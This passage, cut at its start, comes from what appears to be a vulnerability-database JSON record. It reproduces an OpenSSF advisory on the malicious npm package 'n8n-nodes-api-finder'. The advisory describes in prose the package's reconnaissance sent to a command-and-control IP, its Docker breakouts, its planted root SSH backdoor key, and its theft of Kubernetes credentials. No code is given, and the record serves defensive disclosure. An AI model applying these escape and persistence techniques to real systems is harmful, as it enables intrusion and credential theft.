It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).\n\nThe OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in n8n-nodes-api-finder (npm)","id":"MAL-2026-10774","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"n8n-nodes-api-finder","purl":"pkg:npm/n8n-nodes-api-finder","source":"MAL-2026-10774"}],"products":null,"published":"2026-07-17","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-10774/"}
